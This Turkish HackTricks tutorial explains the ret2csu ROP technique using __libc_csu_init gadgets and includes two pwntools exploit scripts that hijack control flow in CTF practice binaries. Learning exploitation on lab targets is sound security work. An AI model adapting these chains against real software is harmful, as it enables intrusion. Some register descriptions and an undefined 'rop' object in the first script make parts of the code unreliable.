Ret2csu

Support HackTricks

ret2csu, bir programın kontrolünü almaya çalışırken, genellikle programın davranışını manipüle etmek için kullandığınız gadgets'ları bulamadığınızda kullanılan bir hacking tekniğidir.

Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracağını yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle __libc_csu_init adı verilen kaybolan gadgets'larımız olarak işlev görebilecek bazı gizli mücevherler bulunmaktadır.

__libc_csu_init İçindeki Sihirli Gadgets

__libc_csu_init içinde vurgulanması gereken iki talimat dizisi (gadget) bulunmaktadır:

  1. İlk dizi, birkaç kaydın (rbx, rbp, r12, r13, r14, r15) değerlerini ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri depolayabileceğimiz slotlar gibidir.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Bu gadget, yığın üzerindeki değerleri bu register'lara alarak onları kontrol etmemizi sağlar.

  1. İkinci dizilim, ayarladığımız değerleri kullanarak birkaç şey yapar:

  • Belirli değerleri diğer register'lara taşıyarak, bunları fonksiyonlarda parametre olarak kullanmaya hazır hale getirir.

  • r15 ve rbx'deki değerleri toplayarak ve ardından rbx'i 8 ile çarparak belirlenen bir konuma çağrı yapar.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Belki oraya yazacak herhangi bir adres bilmiyorsunuz ve bir ret talimatına ihtiyacınız var. İkinci gadget'ın da bir ret ile biteceğini unutmayın, ancak ona ulaşmak için bazı koşulları yerine getirmeniz gerekecek:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Koşullar şunlardır:

  • [r12 + rbx*8] çağrılabilir bir fonksiyonu depolayan bir adrese işaret etmelidir (eğer bir fikriniz yoksa ve pie yoksa, sadece _init fonksiyonunu kullanabilirsiniz):

  • Eğer _init 0x400560 adresindeyse, GEF kullanarak bellekte ona işaret eden bir işaretçi arayın ve [r12 + rbx*8]'in _init'e işaret eden adres olmasını sağlayın:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp ve rbx aynı değere sahip olmalıdır, atlamayı önlemek için

  • Dikkate almanız gereken bazı atlanan pops var

RDI ve RSI

rdi ve rsi'yi ret2csu gadget'ından kontrol etmenin bir başka yolu, belirli ofsetlere erişmektir:

Daha fazla bilgi için bu sayfayı kontrol edin:

BROP - Blind Return Oriented Programming

Örnek

Çağrıyı Kullanma

Bir syscall yapmak veya write() gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak rdx ve rsi kayıtlarında parametreler için belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.

İşte burada ret2csu devreye giriyor:

  1. Kayıtları Ayarlayın: İlk sihirli gadget'ı kullanarak yığın üzerindeki değerleri rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop edin.

  2. İkinci Gadget'ı Kullanın: Bu kayıtlar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri rdx ve rsi'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, r15 ve rbx'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bu adresi [r15 + rbx*8] içine yerleştirebilirsiniz.

Bu tekniği kullanan ve burada açıklayan bir örneğiniz var ve bu, kullanılan son istismar:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Not edin ki önceki exploit bir RCE gerçekleştirmek için değil, sadece win adlı bir fonksiyonu çağırmak içindir (ROP zincirinde win adresini stdin'den alarak ve bunu r15'te saklayarak) ve üçüncü bir argüman olarak 0xdeadbeefcafed00d değerini alır.

Çağrıyı atlayarak ret'e ulaşma

Aşağıdaki exploit bu sayfadan çıkarılmıştır; burada ret2csu kullanılıyor ancak çağrıyı kullanmak yerine, karşılaştırmaları atlayarak ve çağrıdan sonra ret'e ulaşarak işlem yapmaktadır:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Neden Sadece libc Kullanmayalım?

Genellikle bu durumlar da ret2plt + ret2lib ile savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilecek parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, write() fonksiyonu üç parametre gerektirir ve bunların hepsini doğrudan ayarlamak için gadget bulmak mümkün olmayabilir.

Last updated